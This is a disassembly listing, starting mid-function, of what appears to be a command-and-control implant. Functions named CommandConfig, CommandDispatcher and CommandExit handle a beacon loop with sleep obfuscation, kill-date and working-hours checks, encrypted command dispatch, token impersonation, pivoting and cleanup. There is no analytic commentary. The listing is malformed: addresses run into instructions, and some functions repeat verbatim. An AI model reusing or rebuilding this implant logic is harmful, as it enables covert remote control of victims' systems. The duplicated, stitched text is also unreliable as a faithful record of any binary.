14000a5d6mov rcx, [rbp+256]
14000a5ddtest rcx, rcx
14000a5e0je 0x14000a60c
14000a5e2call StringLengthW
14000a5e7mov rdi, [rbp+256]
14000a5eelea rcx, [rax+rax]
14000a5f2xor eax, eax
14000a5f4rep stosb [rdi], al
14000a5f6mov rcx, [rbp+256]
14000a5fdcall [rbp+940]
14000a603xor ecx, ecx
14000a605mov [rbp+256], rcx
14000a60c
14000a60cloc_14000a60c:
14000a60cmov rcx, rsi
14000a60flea rdx, [rsp+60]
14000a614call ParserGetBytes
14000a619mov edx, [rsp+60]
14000a61dmov ecx, 64
14000a622mov rsi, rax
14000a625call [rbp+932]
14000a62bmov ecx, [rsp+60]
14000a62flea rdx, [rip+0x22e4a]
14000a636mov r8l, 1966
14000a63cmov [rbp+256], rax
14000a643mov rdi, rax
14000a646rep movsb [rdi], [rsi]
14000a648lea rcx, [rip+0x1c898]
14000a64fmov r9, [rbp+256]
14000a656call printf
14000a65bmov rdx, [rbp+256]
14000a662jmp 0x14000a700
14000a667mov rbp, [rip+0x21d02]
14000a66exor edx, edx
14000a670mov [rsp+60], edx
14000a674mov rcx, [rbp+264]
14000a67btest rcx, rcx
14000a67eje 0x14000a6aa
14000a680call StringLengthW
14000a685mov rdi, [rbp+264]
14000a68clea rcx, [rax+rax]
14000a690xor eax, eax
14000a692rep stosb [rdi], al
14000a694mov rcx, [rbp+264]
14000a69bcall [rbp+940]
14000a6a1xor eax, eax
14000a6a3mov [rbp+264], rax
14000a6aa
14000a6aaloc_14000a6aa:
14000a6aamov rcx, rsi
14000a6adlea rdx, [rsp+60]
14000a6b2call ParserGetBytes
14000a6b7mov edx, [rsp+60]
14000a6bbmov ecx, 64
14000a6c0mov rsi, rax
14000a6c3call [rbp+932]
14000a6c9mov ecx, [rsp+60]
14000a6cdlea rdx, [rip+0x22dac]
14000a6d4mov r8l, 1988
14000a6damov [rbp+264], rax
14000a6e1mov rdi, rax
14000a6e4rep movsb [rdi], [rsi]
14000a6e6lea rcx, [rip+0x1c832]
14000a6edmov r9, [rbp+264]
14000a6f4call printf
14000a6f9mov rdx, [rbp+264]
14000a700
14000a700loc_14000a700:
14000a700mov rcx, rbx
14000a703call PackageAddWString
14000a708jmp 0x14000a78d
14000a70dmov rcx, rsi
14000a710call ParserGetInt64
14000a715mov rsi, [rip+0x21c54]
14000a71cmov r8l, 1998
14000a722lea rdx, [rip+0x22d57]
14000a729mov r9, rax
14000a72clea rcx, [rip+0x1c824]
14000a733mov [rsi+124], rax
14000a737call printf
14000a73cmov rdx, [rsi+124]
14000a740mov rcx, rbx
14000a743call PackageAddInt64
14000a748jmp 0x14000a78d
14000a74amov rcx, rsi
14000a74dcall ParserGetInt32
14000a752mov rsi, [rip+0x21c17]
14000a759lea rdx, [rip+0x22d20]
14000a760mov r8l, 2008
14000a766mov r9l, eax
14000a769lea rcx, [rip+0x1c821]
14000a770mov [rsi+132], eax
14000a776call printf
14000a77bmov edx, [rsi+132]
14000a781jmp 0x14000a785
14000a783
14000a783loc_14000a783:
14000a783xor edx, edx
14000a785
14000a785loc_14000a785:
14000a785mov rcx, rbx
14000a788call PackageAddInt32
14000a78d
14000a78dloc_14000a78d:
14000a78dadd rsp, 72
14000a791mov rcx, rbx
14000a794pop rbx
14000a795pop rsi
14000a796pop rdi
14000a797pop rbp
14000a798pop r12
14000a79apop r13
14000a79cjmp 0x140018b90
14000a210
14000a210CommandConfig:
14000a210push r13
14000a212push r12
14000a214push rbp
14000a215push rdi
14000a216push rsi
14000a217mov rsi, rcx
14000a21amov ecx, 2500
14000a21fpush rbx
14000a220sub rsp, 72
14000a224call PackageCreate
14000a229mov rcx, rsi
14000a22cmov rbx, rax
14000a22fcall ParserGetInt32
14000a234mov rcx, rbx
14000a237mov edi, eax
14000a239mov edx, edi
14000a23bcall PackageAddInt32
14000a240cmp edi, 102
14000a243je 0x14000a451
14000a249jg 0x14000a296
14000a24bcmp edi, 7
14000a24ejg 0x14000a271
14000a250test edi, edi
14000a252js 0x14000a783
14000a258cmp edi, 7
14000a25bja 0x14000a783
14000a261lea rdx, [rip+0x1cd68]
14000a268movsxd rax, [rdx+4*rdi]
14000a26cadd rax, rdx
14000a26fjmp rax
14000a271
14000a271loc_14000a271:
14000a271cmp edi, 101
14000a274jne 0x14000a783
14000a27amov rcx, rsi
14000a27dcall ParserGetInt32
14000a282mov edx, eax
14000a284mov rax, [rip+0x220e5]
14000a28bmov [rax+248], edx
14000a291jmp 0x14000a785
14000a296
14000a296loc_14000a296:
14000a296sub edi, 150
14000a29ccmp edi, 5
14000a29fja 0x14000a783
14000a2a5lea rdx, [rip+0x1cd44]
14000a2acmovsxd rax, [rdx+4*rdi]
14000a2b0add rax, rdx
14000a2b3jmp rax
14000a2b5xor r10l, r10l
14000a2b8mov rcx, rsi
14000a2bblea rdx, [rsp+56]
14000a2c0mov [rsp+56], r10l
14000a2c5lea r12, [rip+0x231b4]
14000a2ccmov [rsp+60], r10l
14000a2d1call ParserGetString
14000a2d6lea rdx, [rsp+60]
14000a2dbmov rcx, rsi
14000a2demov rdi, rax
14000a2e1call ParserGetString
14000a2e6mov rcx, rsi
14000a2e9mov rbp, rax
14000a2eccall ParserGetInt32
14000a2f1mov r9, rdi
14000a2f4mov rdx, r12
14000a2f7mov r8l, 1826
14000a2fdlea rcx, [rip+0x1cb10]
14000a304mov esi, eax
14000a306call printf
14000a30bmov r9, rbp
14000a30emov rdx, r12
14000a311mov r8l, 1827
14000a317lea rcx, [rip+0x1cb16]
14000a31ecall printf
14000a323mov r9l, esi
14000a326mov rdx, r12
14000a329mov r8l, 1828
14000a32flea rcx, [rip+0x1cb1e]
14000a336call printf
14000a33btest rdi, rdi
14000a33eje 0x14000a5ac
14000a344mov rcx, rdi
14000a347call LdrModuleLoad
14000a34cmov r8l, 1835
14000a352mov rdx, r12
14000a355lea rcx, [rip+0x1cb16]
14000a35cmov r13, rax
14000a35fmov r9, rax
14000a362call printf
14000a367test r13, r13
14000a36aje 0x14000a59d
14000a370mov rcx, rbp
14000a373call HashStringA
14000a378mov rcx, r13
14000a37bmov edx, eax
14000a37dcall LdrFunctionAddr
14000a382mov r9, rax
14000a385test rax, rax
14000a388je 0x14000a39d
14000a38aadd rsi, rax
14000a38dmov rax, [rip+0x21fdc]
14000a394mov [rax+228], rsi
14000a39bjmp 0x14000a3b6
14000a39d
14000a39dloc_14000a39d:
14000a39dmov edx, 1
14000a3a2mov ecx, 1
14000a3a7mov [rsp+40], rax
14000a3accall PackageTransmitError
14000a3b1mov r9, [rsp+40]
14000a3b6
14000a3b6loc_14000a3b6:
14000a3b6mov r8l, 1846
14000a3bcjmp 0x14000a58c
14000a3c1mov rcx, rsi
14000a3c4call ParserGetInt32
14000a3c9mov rsi, [rip+0x21fa0]
14000a3d0lea rdx, [rip+0x230a9]
14000a3d7mov r8l, 1861
14000a3ddmov r9l, eax
14000a3e0lea rcx, [rip+0x1cac9]
14000a3e7mov [rsi+210], eax
14000a3edcall printf
14000a3f2mov edx, [rsi+210]
14000a3f8jmp 0x14000a785
14000a3fdmov rcx, rsi
14000a400call ParserGetInt32
14000a405mov edx, eax
14000a407mov rax, [rip+0x21f62]
14000a40emov [rax+224], edx
14000a414jmp 0x14000a785
14000a419mov rcx, rsi
14000a41ccall ParserGetInt32
14000a421mov edx, eax
14000a423mov rax, [rip+0x21f46]
14000a42amov [rax+240], edx
14000a430jmp 0x14000a785
14000a435mov rcx, rsi
14000a438call ParserGetInt32
14000a43dmov edx, eax
14000a43fmov rax, [rip+0x21f2a]
14000a446mov [rax+236], edx
14000a44cjmp 0x14000a785
14000a451
14000a451loc_14000a451:
14000a451mov rcx, rsi
14000a454call ParserGetInt32
14000a459mov edx, eax
14000a45bmov rax, [rip+0x21f0e]
14000a462mov [rax+252], edx
14000a468jmp 0x14000a785
14000a46dmov rcx, rsi
14000a470call ParserGetInt32
14000a475mov edx, eax
14000a477mov rax, [rip+0x21ef2]
14000a47emov [rax+272], edx
14000a484jmp 0x14000a785
14000a489xor r9l, r9l
14000a48cmov rcx, rsi
14000a48flea rdx, [rsp+56]
14000a494mov [rsp+56], r9l
14000a499lea r12, [rip+0x22fe0]
14000a4a0mov [rsp+60], r9l
14000a4a5call ParserGetString
14000a4aalea rdx, [rsp+60]
14000a4afmov rcx, rsi
14000a4b2mov rdi, rax
14000a4b5call ParserGetString
14000a4bamov rcx, rsi
14000a4bdmov rbp, rax
14000a4c0call ParserGetInt32
14000a4c5mov r9, rdi
14000a4c8mov rdx, r12
14000a4cbmov r8l, 1917
14000a4d1lea rcx, [rip+0x1c93c]
14000a4d8mov esi, eax
14000a4dacall printf
14000a4dfmov r9, rbp
14000a4e2mov rdx, r12
14000a4e5mov r8l, 1918
14000a4eblea rcx, [rip+0x1c942]
14000a4f2call printf
14000a4f7mov r9l, esi
14000a4famov rdx, r12
14000a4fdmov r8l, 1919
14000a503lea rcx, [rip+0x1c94a]
14000a50acall printf
14000a50ftest rdi, rdi
14000a512je 0x14000a5ac
14000a518mov rcx, rdi
14000a51bcall LdrModuleLoad
14000a520mov r8l, 1927
14000a526mov rdx, r12
14000a529lea rcx, [rip+0x1c942]
14000a530mov r13, rax
14000a533mov r9, rax
14000a536call printf
14000a53btest r13, r13
14000a53eje 0x14000a59d
14000a540mov rcx, rbp
14000a543call HashStringA
14000a548mov rcx, r13
14000a54bmov edx, eax
14000a54dcall LdrFunctionAddr
14000a552mov r9, rax
14000a555test rax, rax
14000a558je 0x14000a56d
14000a55aadd rsi, rax
14000a55dmov rax, [rip+0x21e0c]
14000a564mov [rax+276], rsi
14000a56bjmp 0x14000a586
14000a56d
14000a56dloc_14000a56d:
14000a56dmov edx, 1
14000a572mov ecx, 1
14000a577mov [rsp+40], rax
14000a57ccall PackageTransmitError
14000a581mov r9, [rsp+40]
14000a586
14000a586loc_14000a586:
14000a586mov r8l, 1939
14000a58c
14000a58cloc_14000a58c:
14000a58cmov rdx, r12
14000a58flea rcx, [rip+0x1c8f8]
14000a596call printf
14000a59bjmp 0x14000a5ac
14000a59d
14000a59dloc_14000a59d:
14000a59dmov edx, 126
14000a5a2mov ecx, 1
14000a5a7call PackageTransmitError
14000a5ac
14000a5acloc_14000a5ac:
14000a5acmov rdx, rdi
14000a5afmov rcx, rbx
14000a5b2call PackageAddString
14000a5b7mov rdx, rbp
14000a5bamov rcx, rbx
14000a5bdcall PackageAddString
14000a5c2jmp 0x14000a78d
14000a5c7mov rbp, [rip+0x21da2]
14000a5cexor r8l, r8l
14000a5d1mov [rsp+60], r8l
14000a5d6mov rcx, [rbp+256]
14000a5ddtest rcx, rcx
14000a5e0je 0x14000a60c
14000a5e2call StringLengthW
14000a5e7mov rdi, [rbp+256]
14000a5eelea rcx, [rax+rax]
14000a5f2xor eax, eax
14000a5f4rep stosb [rdi], al
14000a5f6mov rcx, [rbp+256]
14000a5fdcall [rbp+940]
14000a603xor ecx, ecx
14000a605mov [rbp+256], rcx
14000a60c
14000a60cloc_14000a60c:
14000a60cmov rcx, rsi
14000a60flea rdx, [rsp+60]
14000a614call ParserGetBytes
14000a619mov edx, [rsp+60]
14000a61dmov ecx, 64
14000a622mov rsi, rax
14000a625call [rbp+932]
14000a62bmov ecx, [rsp+60]
14000a62flea rdx, [rip+0x22e4a]
14000a636mov r8l, 1966
14000a63cmov [rbp+256], rax
14000a643mov rdi, rax
14000a646rep movsb [rdi], [rsi]
14000a648lea rcx, [rip+0x1c898]
14000a64fmov r9, [rbp+256]
14000a656call printf
14000a65bmov rdx, [rbp+256]
14000a662jmp 0x14000a700
14000a667mov rbp, [rip+0x21d02]
14000a66exor edx, edx
14000a670mov [rsp+60], edx
14000a674mov rcx, [rbp+264]
14000a67btest rcx, rcx
14000a67eje 0x14000a6aa
14000a680call StringLengthW
14000a685mov rdi, [rbp+264]
14000a68clea rcx, [rax+rax]
14000a690xor eax, eax
14000a692rep stosb [rdi], al
14000a694mov rcx, [rbp+264]
14000a69bcall [rbp+940]
14000a6a1xor eax, eax
14000a6a3mov [rbp+264], rax
14000a6aa
14000a6aaloc_14000a6aa:
14000a6aamov rcx, rsi
14000a6adlea rdx, [rsp+60]
14000a6b2call ParserGetBytes
14000a6b7mov edx, [rsp+60]
14000a6bbmov ecx, 64
14000a6c0mov rsi, rax
14000a6c3call [rbp+932]
14000a6c9mov ecx, [rsp+60]
14000a6cdlea rdx, [rip+0x22dac]
14000a6d4mov r8l, 1988
14000a6damov [rbp+264], rax
14000a6e1mov rdi, rax
14000a6e4rep movsb [rdi], [rsi]
14000a6e6lea rcx, [rip+0x1c832]
14000a6edmov r9, [rbp+264]
14000a6f4call printf
14000a6f9mov rdx, [rbp+264]
14000a700
14000a700loc_14000a700:
14000a700mov rcx, rbx
14000a703call PackageAddWString
14000a708jmp 0x14000a78d
14000a70dmov rcx, rsi
14000a710call ParserGetInt64
14000a715mov rsi, [rip+0x21c54]
14000a71cmov r8l, 1998
14000a722lea rdx, [rip+0x22d57]
14000a729mov r9, rax
14000a72clea rcx, [rip+0x1c824]
14000a733mov [rsi+124], rax
14000a737call printf
14000a73cmov rdx, [rsi+124]
14000a740mov rcx, rbx
14000a743call PackageAddInt64
14000a748jmp 0x14000a78d
14000a74amov rcx, rsi
14000a74dcall ParserGetInt32
14000a752mov rsi, [rip+0x21c17]
14000a759lea rdx, [rip+0x22d20]
14000a760mov r8l, 2008
14000a766mov r9l, eax
14000a769lea rcx, [rip+0x1c821]
14000a770mov [rsi+132], eax
14000a776call printf
14000a77bmov edx, [rsi+132]
14000a781jmp 0x14000a785
14000a783
14000a783loc_14000a783:
14000a783xor edx, edx
14000a785
14000a785loc_14000a785:
14000a785mov rcx, rbx
14000a788call PackageAddInt32
14000a78d
14000a78dloc_14000a78d:
14000a78dadd rsp, 72
14000a791mov rcx, rbx
14000a794pop rbx
14000a795pop rsi
14000a796pop rdi
14000a797pop rbp
14000a798pop r12
14000a79apop r13
14000a79cjmp 0x140018b90
14000a210
14000a7a1
14000a7a1 // align 0x10
14000a7a1 // align 0x10
14000a7b0
14000a7b0CommandDispatcher:
14000a7b0push r15
14000a7b2xor eax, eax
14000a7b4mov ecx, 8
14000a7b9xor r8l, r8l
14000a7bcpush r14
14000a7belea r15, [rip+0x1cde6]
14000a7c5push r13
14000a7c7push r12
14000a7c9lea r12, [rip+0x22690]
14000a7d0push rbp
14000a7d1mov rdx, r12
14000a7d4push rdi
14000a7d5push rsi
14000a7d6push rbx
14000a7d7sub rsp, 200
14000a7demov rbx, [rip+0x21b8b]
14000a7e5lea rdi, [rsp+128]
14000a7edmov [rsp+108], r8l
14000a7f2mov r8l, 56
14000a7f8lea rbp, [rsp+128]
14000a800rep stosd [rdi], eax
14000a802xor ecx, ecx
14000a804mov r9l, [rbx+68]
14000a808lea r14, [rsp+120]
14000a80dmov [rsp+112], rcx
14000a812lea rdi, [rsp+160]
14000a81alea r13, [rsp+160]
14000a822mov [rsp+120], rcx
14000a827mov ecx, 8
14000a82crep stosd [rdi], eax
14000a82elea rcx, [rip+0x1cd54]
14000a835call printf
14000a83a
14000a83aloc_14000a83a:
14000a83acmp [rbx+72], 0
14000a83eje 0x14000a9cf
14000a844call SleepObf
14000a849call ReachedKillDate
14000a84etest eax, eax
14000a850je 0x14000a857
14000a852call KillDate
14000a857
14000a857loc_14000a857:
14000a857call InWorkingHours
14000a85ctest eax, eax
14000a85eje 0x14000a83a
14000a860lea rcx, [rsp+112]
14000a865mov rdx, r14
14000a868call PackageTransmitAll
14000a86dtest eax, eax
14000a86fjne 0x14000a881
14000a871call HostCheckup
14000a876test eax, eax
14000a878jne 0x14000a881
14000a87axor ecx, ecx
14000a87ccall CommandExit
14000a881
14000a881loc_14000a881:
14000a881mov rdx, [rsp+112]
14000a886test rdx, rdx
14000a889je 0x14000a9b3
14000a88fmov r8, [rsp+120]
14000a894test r8, r8
14000a897je 0x14000a9b3
14000a89dmov rcx, rbp
14000a8a0call ParserNew
14000a8a5lea rax, [rsp+108]
14000a8aamov [rsp+80], rax
14000a8af
14000a8afloc_14000a8af:
14000a8afmov rcx, rbp
14000a8b2call ParserGetInt32
14000a8b7mov rcx, rbp
14000a8bamov esi, eax
14000a8bccall ParserGetInt32
14000a8c1mov rdx, [rsp+80]
14000a8c6mov rcx, rbp
14000a8c9mov [rsp+92], eax
14000a8cdcall ParserGetBytes
14000a8d2mov r9l, [rsp+92]
14000a8d7mov rdi, rax
14000a8damov [rbx+8], r9l
14000a8decmp esi, 10
14000a8e1je 0x14000a957
14000a8e3mov eax, [rsp+108]
14000a8e7mov [rsp+56], rdi
14000a8ecmov rdx, r12
14000a8efmov rcx, r15
14000a8f2mov [rsp+48], esi
14000a8f6mov r8l, 109
14000a8fcmov [rsp+64], eax
14000a900mov [rsp+40], esi
14000a904mov [rsp+32], r9l
14000a909call printf
14000a90emov r8l, [rsp+108]
14000a913test r8l, r8l
14000a916je 0x14000a939
14000a918mov rdx, rdi
14000a91bmov rcx, r13
14000a91ecall ParserNew
14000a923mov rdx, [rbx+284]
14000a92amov r8, [rbx+292]
14000a931mov rcx, r13
14000a934call ParserDecrypt
14000a939
14000a939loc_14000a939:
14000a939lea rax, [rip+0x196c0]
14000a940
14000a940loc_14000a940:
14000a940mov rdx, [rax+8]
14000a944test rdx, rdx
14000a947je 0x14000a957
14000a949add rax, 16
14000a94dcmp esi, [rax-16]
14000a950jne 0x14000a940
14000a952mov rcx, r13
14000a955call rdx
14000a957
14000a957loc_14000a957:
14000a957cmp [rsp+148], 12
14000a95fja 0x14000a8af
14000a965mov rdi, [rsp+112]
14000a96amov rcx, [rsp+120]
14000a96fxor eax, eax
14000a971rep stosb [rdi], al
14000a973mov rcx, [rsp+112]
14000a978call [rbx+940]
14000a97exor edx, edx
14000a980mov rcx, rbp
14000a983mov [rsp+112], rdx
14000a988call ParserDestroy
14000a98dmov rcx, r13
14000a990call ParserDestroy
14000a995call JobCheckList
14000a99acall PivotPush
14000a99fcall DownloadPush
14000a9a4call DotnetPush
14000a9a9call SocketPush
14000a9aejmp 0x14000a83a
14000a9b3
14000a9b3loc_14000a9b3:
14000a9b3lea r9, [rip+0x1cc47]
14000a9bamov r8l, 142
14000a9c0mov rdx, r12
14000a9c3lea rcx, [rip+0x1b63e]
14000a9cacall printf
14000a9cf
14000a9cfloc_14000a9cf:
14000a9cfxor eax, eax
14000a9d1mov rdx, r12
14000a9d4lea r9, [rip+0x1cc3c]
14000a9dbmov r8l, 166
14000a9e1lea rcx, [rip+0x1b620]
14000a9e8mov [rbx+72], eax
14000a9ebcall printf
14000a9f0add rsp, 200
14000a9f7pop rbx
14000a9f8pop rsi
14000a9f9pop rdi
14000a9fapop rbp
14000a9fbpop r12
14000a9fdpop r13
14000a9ffpop r14
14000aa01pop r15
14000aa03ret
14000a7b0
14000a7b0CommandDispatcher:
14000a7b0push r15
14000a7b2xor eax, eax
14000a7b4mov ecx, 8
14000a7b9xor r8l, r8l
14000a7bcpush r14
14000a7belea r15, [rip+0x1cde6]
14000a7c5push r13
14000a7c7push r12
14000a7c9lea r12, [rip+0x22690]
14000a7d0push rbp
14000a7d1mov rdx, r12
14000a7d4push rdi
14000a7d5push rsi
14000a7d6push rbx
14000a7d7sub rsp, 200
14000a7demov rbx, [rip+0x21b8b]
14000a7e5lea rdi, [rsp+128]
14000a7edmov [rsp+108], r8l
14000a7f2mov r8l, 56
14000a7f8lea rbp, [rsp+128]
14000a800rep stosd [rdi], eax
14000a802xor ecx, ecx
14000a804mov r9l, [rbx+68]
14000a808lea r14, [rsp+120]
14000a80dmov [rsp+112], rcx
14000a812lea rdi, [rsp+160]
14000a81alea r13, [rsp+160]
14000a822mov [rsp+120], rcx
14000a827mov ecx, 8
14000a82crep stosd [rdi], eax
14000a82elea rcx, [rip+0x1cd54]
14000a835call printf
14000a83a
14000a83aloc_14000a83a:
14000a83acmp [rbx+72], 0
14000a83eje 0x14000a9cf
14000a844call SleepObf
14000a849call ReachedKillDate
14000a84etest eax, eax
14000a850je 0x14000a857
14000a852call KillDate
14000a857
14000a857loc_14000a857:
14000a857call InWorkingHours
14000a85ctest eax, eax
14000a85eje 0x14000a83a
14000a860lea rcx, [rsp+112]
14000a865mov rdx, r14
14000a868call PackageTransmitAll
14000a86dtest eax, eax
14000a86fjne 0x14000a881
14000a871call HostCheckup
14000a876test eax, eax
14000a878jne 0x14000a881
14000a87axor ecx, ecx
14000a87ccall CommandExit
14000a881
14000a881loc_14000a881:
14000a881mov rdx, [rsp+112]
14000a886test rdx, rdx
14000a889je 0x14000a9b3
14000a88fmov r8, [rsp+120]
14000a894test r8, r8
14000a897je 0x14000a9b3
14000a89dmov rcx, rbp
14000a8a0call ParserNew
14000a8a5lea rax, [rsp+108]
14000a8aamov [rsp+80], rax
14000a8af
14000a8afloc_14000a8af:
14000a8afmov rcx, rbp
14000a8b2call ParserGetInt32
14000a8b7mov rcx, rbp
14000a8bamov esi, eax
14000a8bccall ParserGetInt32
14000a8c1mov rdx, [rsp+80]
14000a8c6mov rcx, rbp
14000a8c9mov [rsp+92], eax
14000a8cdcall ParserGetBytes
14000a8d2mov r9l, [rsp+92]
14000a8d7mov rdi, rax
14000a8damov [rbx+8], r9l
14000a8decmp esi, 10
14000a8e1je 0x14000a957
14000a8e3mov eax, [rsp+108]
14000a8e7mov [rsp+56], rdi
14000a8ecmov rdx, r12
14000a8efmov rcx, r15
14000a8f2mov [rsp+48], esi
14000a8f6mov r8l, 109
14000a8fcmov [rsp+64], eax
14000a900mov [rsp+40], esi
14000a904mov [rsp+32], r9l
14000a909call printf
14000a90emov r8l, [rsp+108]
14000a913test r8l, r8l
14000a916je 0x14000a939
14000a918mov rdx, rdi
14000a91bmov rcx, r13
14000a91ecall ParserNew
14000a923mov rdx, [rbx+284]
14000a92amov r8, [rbx+292]
14000a931mov rcx, r13
14000a934call ParserDecrypt
14000a939
14000a939loc_14000a939:
14000a939lea rax, [rip+0x196c0]
14000a940
14000a940loc_14000a940:
14000a940mov rdx, [rax+8]
14000a944test rdx, rdx
14000a947je 0x14000a957
14000a949add rax, 16
14000a94dcmp esi, [rax-16]
14000a950jne 0x14000a940
14000a952mov rcx, r13
14000a955call rdx
14000a957
14000a957loc_14000a957:
14000a957cmp [rsp+148], 12
14000a95fja 0x14000a8af
14000a965mov rdi, [rsp+112]
14000a96amov rcx, [rsp+120]
14000a96fxor eax, eax
14000a971rep stosb [rdi], al
14000a973mov rcx, [rsp+112]
14000a978call [rbx+940]
14000a97exor edx, edx
14000a980mov rcx, rbp
14000a983mov [rsp+112], rdx
14000a988call ParserDestroy
14000a98dmov rcx, r13
14000a990call ParserDestroy
14000a995call JobCheckList
14000a99acall PivotPush
14000a99fcall DownloadPush
14000a9a4call DotnetPush
14000a9a9call SocketPush
14000a9aejmp 0x14000a83a
14000a9b3
14000a9b3loc_14000a9b3:
14000a9b3lea r9, [rip+0x1cc47]
14000a9bamov r8l, 142
14000a9c0mov rdx, r12
14000a9c3lea rcx, [rip+0x1b63e]
14000a9cacall printf
14000a9cf
14000a9cfloc_14000a9cf:
14000a9cfxor eax, eax
14000a9d1mov rdx, r12
14000a9d4lea r9, [rip+0x1cc3c]
14000a9dbmov r8l, 166
14000a9e1lea rcx, [rip+0x1b620]
14000a9e8mov [rbx+72], eax
14000a9ebcall printf
14000a9f0add rsp, 200
14000a9f7pop rbx
14000a9f8pop rsi
14000a9f9pop rdi
14000a9fapop rbp
14000a9fbpop r12
14000a9fdpop r13
14000a9ffpop r14
14000aa01pop r15
14000aa03ret
14000a7b0
14000aa04
14000aa04 // align 0x10
14000aa04 // align 0x10
14000aa10
14000aa10CommandExit:
14000aa10push rbp
14000aa11lea r9, [rip+0x1ca61]
14000aa18mov r8l, 3241
14000aa1elea rdx, [rip+0x21b6b]
14000aa25mov rbp, rsp
14000aa28push r15
14000aa2apush r14
14000aa2cpush r13
14000aa2epush r12
14000aa30push rdi
14000aa31push rsi
14000aa32push rbx
14000aa33and rsp, -16
14000aa37sub rsp, 1312
14000aa3emov [rbp+16], rcx
14000aa42lea rcx, [rip+0x1b5bf]
14000aa49call printf
14000aa4elea rdi, [rsp+80]
14000aa53xor eax, eax
14000aa55xor r10l, r10l
14000aa58mov ecx, 308
14000aa5dcmp [rbp+16], 0
14000aa62mov [rsp+64], r10
14000aa67rep stosd [rdi], eax
14000aa69mov rbx, [rip+0x21900]
14000aa70lea rax, [rsp+80]
14000aa75mov [rsp+72], r10
14000aa7amov [rsp+60], 1
14000aa82mov [rsp+48], rax
14000aa87mov r15, [rbx+2302]
14000aa8emov r14, [rbx+2326]
14000aa95mov r13, [rbx+2310]
14000aa9cmov r12, [rbx+2318]
14000aaa3mov rsi, [rbx+2294]
14000aaaaje 0x14000aae1
14000aaacmov ecx, 92
14000aab1call PackageCreate
14000aab6mov rcx, [rbp+16]
14000aabamov rdi, rax
14000aabdcall ParserGetInt32
14000aac2mov rcx, rdi
14000aac5mov edx, eax
14000aac7mov [rsp+60], eax
14000aacbcall PackageAddInt32
14000aad0mov rcx, rdi
14000aad3call PackageTransmit
14000aad8xor edx, edx
14000aadaxor ecx, ecx
14000aadccall PackageTransmitAll
14000aae1
14000aae1loc_14000aae1:
14000aae1test r15, r15
14000aae4jne 0x14000aaee
14000aae6mov r15l, 56
14000aaecjmp 0x14000ab45
14000aaee
14000aaeeloc_14000aaee:
14000aaeemov ecx, [r15+4]
14000aaf2mov r15, [r15+32]
14000aaf6call JobKill
14000aafbjmp 0x14000aae1
14000aafd
14000aafdloc_14000aafd:
14000aafdmov rax, [r14+48]
14000ab01mov rcx, [r14+8]
14000ab05mov [rsp+40], rax
14000ab0atest rcx, rcx
14000ab0dje 0x14000ab1c
14000ab0fcall [rbx+1908]
14000ab15xor r9l, r9l
14000ab18mov [r14+8], r9
14000ab1c
14000ab1cloc_14000ab1c:
14000ab1cmov rdi, r14
14000ab1fmov rcx, r15
14000ab22xor eax, eax
14000ab24rep stosb [rdi], al
14000ab26mov rax, [rbx+2230]
14000ab2dmov r8, r14
14000ab30xor edx, edx
14000ab32mov rax, [rax+96]
14000ab36mov rcx, [rax+48]
14000ab3acall [rbx+332]
14000ab40mov r14, [rsp+40]
14000ab45
14000ab45loc_14000ab45:
14000ab45test r14, r14
14000ab48jne 0x14000aafd
14000ab4a
14000ab4aloc_14000ab4a:
14000ab4atest r13, r13
14000ab4dje 0x14000ab61
14000ab4fmov rdi, [r13+48]
14000ab53mov ecx, [r13]
14000ab57call DownloadRemove
14000ab5cmov r13, rdi
14000ab5fjmp 0x14000ab4a
14000ab61
14000ab61loc_14000ab61:
14000ab61test r12, r12
14000ab64je 0x14000ab79
14000ab66mov rdi, [r12+40]
14000ab6bmov ecx, [r12]
14000ab6fcall RemoveMemFile
14000ab74mov r12, rdi
14000ab77jmp 0x14000ab61
14000ab79
14000ab79loc_14000ab79:
14000ab79mov r8, [rbx+2250]
14000ab80test r8, r8
14000ab83je 0x14000abaf
14000ab85mov rax, [rbx+2230]
14000ab8cxor edx, edx
14000ab8emov rax, [rax+96]
14000ab92mov rcx, [rax+48]
14000ab96call [rbx+332]
14000ab9cxor ecx, ecx
14000ab9exor r8l, r8l
14000aba1mov [rbx+2250], rcx
14000aba8mov [rbx+2258], r8l
14000abaf
14000abafloc_14000abaf:
14000abafmov rdi, [rbx+28]
14000abb3test rdi, rdi
14000abb6je 0x14000abd0
14000abb8mov rcx, [rbx+36]
14000abbcxor eax, eax
14000abberep stosb [rdi], al
14000abc0mov rcx, [rbx+28]
14000abc4call [rbx+940]
14000abcaxor edx, edx
14000abccmov [rbx+28], rdx
14000abd0
14000abd0loc_14000abd0:
14000abd0test rsi, rsi
14000abd3je 0x14000abe5
14000abd5mov rdi, [rsi+32]
14000abd9mov ecx, [rsi]
14000abdbcall PivotRemove
14000abe0mov rsi, rdi
14000abe3jmp 0x14000abd0
14000abe5
14000abe5loc_14000abe5:
14000abe5xor ecx, ecx
14000abe7call TokenImpersonate
14000abeccall TokenClear
14000abf1cmp [rbx+12], 0
14000abf5je 0x14000abfd
14000abf7call [rbx+1852]
14000abfd
14000abfdloc_14000abfd:
14000abfdmov rcx, [rbx+16]
14000ac01test rcx, rcx
14000ac04je 0x14000ac0c
14000ac06call [rbx+1212]
14000ac0c
14000ac0cloc_14000ac0c:
14000ac0cmov rax, [rbx+44]
14000ac10mov rcx, [rsp+48]
14000ac15mov [rsp+128], 0x10000b
14000ac20mov [rsp+64], rax
14000ac25xor eax, eax
14000ac27mov [rsp+72], rax
14000ac2ccall [rbx+420]
14000ac32mov rax, [rbx+660]
14000ac39mov [rsp+208], -1
14000ac45mov [rsp+272], 32768
14000ac51mov [rsp+328], rax
14000ac59mov rax, [rsp+232]
14000ac61and rax, -4096
14000ac67cmp [rsp+60], 1
14000ac6clea rdx, [rax-4096]
14000ac73mov [rsp+232], rdx
14000ac7blea rdx, [rsp+64]
14000ac80mov [rsp+216], rdx
14000ac88lea rdx, [rsp+72]
14000ac8dmov [rsp+264], rdx
14000ac95jne 0x14000aca0
14000ac97mov rdx, [rbx+364]
14000ac9ejmp 0x14000acae
14000aca0
14000aca0loc_14000aca0:
14000aca0cmp [rsp+60], 2
14000aca5jne 0x14000acb5
14000aca7mov rdx, [rbx+372]
14000acae
14000acaeloc_14000acae:
14000acaemov [rax-4096], rdx
14000acb5
14000acb5loc_14000acb5:
14000acb5mov [rsp+128], 0x10000b
14000acc0mov rcx, [rsp+48]
14000acc5xor edx, edx
14000acc7call [rbx+692]
14000accdlea rsp, [rbp-56]
14000acd1pop rbx
14000acd2pop rsi
14000acd3pop rdi
14000acd4pop r12
14000acd6pop r13
14000acd8pop r14
14000acdapop r15
14000acdcpop rbp
14000acddret
14000aa10
